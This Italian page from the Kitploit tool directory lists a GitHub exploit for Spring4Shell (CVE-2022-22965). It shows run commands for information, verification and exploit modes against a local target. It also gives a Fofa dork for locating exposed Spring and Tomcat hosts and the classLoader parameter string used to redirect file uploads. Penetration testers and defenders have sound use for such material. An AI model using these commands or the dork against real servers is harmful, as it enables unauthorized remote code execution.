Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-22965 — Spring4Shell (CVE-2022-22965) | Kitploit
Strumenti/GitHubGitHub/zer0yu/cve-2022-22965
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubzer0yu/cve-2022-22965

CVE-2022-22965

Spring4Shell (CVE-2022-22965)

Vedi Repository
1214 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-22965

Spring4Shell (CVE-2022-22965)

Utilizzo

1. mostra informazioni

root@kitploit:~
❯ go run main.go -s                                               
[INF] VulnInfo:
{
  "Name": "CVE-2022-22965",
  "VulID": "nil",
  "Version": "1.0",
  "Author": "",
  "VulDate": "2022-03-30",
  "References": [
    "https://nosec.org/home/detail/4983.html"
  ],
  "AppName": "Spring Core",
  "AppPowerLink": "https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement",
  "AppVersion": "All",
  "VulType": "RCE",
  "Description": "An unauthenticated attacker can use this vulnerability to perform remote arbitrary code execution. The vulnerability is widespread in the Spring framework and derived frameworks, and JDK 9.0 and above are affected.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"APACHE-Tomcat\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-Spring-Batch\" || app=\"vmware-Spring-framework\" || app=\"vmware-Spring-Security\"",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}%     

2. verifica

root@kitploit:~
echo http://127.0.0.1:8181/ | go run main.go -v -t 20
http://127.0.0.1:8181/

3. exploit

root@kitploit:~
echo http://127.0.0.1:8181/ | go run main.go -m exploit -v

Potrebbe essere necessario modificare il percorso di caricamento dei file, che per impostazione predefinita è "webapps/ROOT"

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/

Disclaimer

Questa procedura è solo per autovalutazione della sicurezza, si prega di rispettare coscienziosamente le leggi locali.

Scarica lo strumento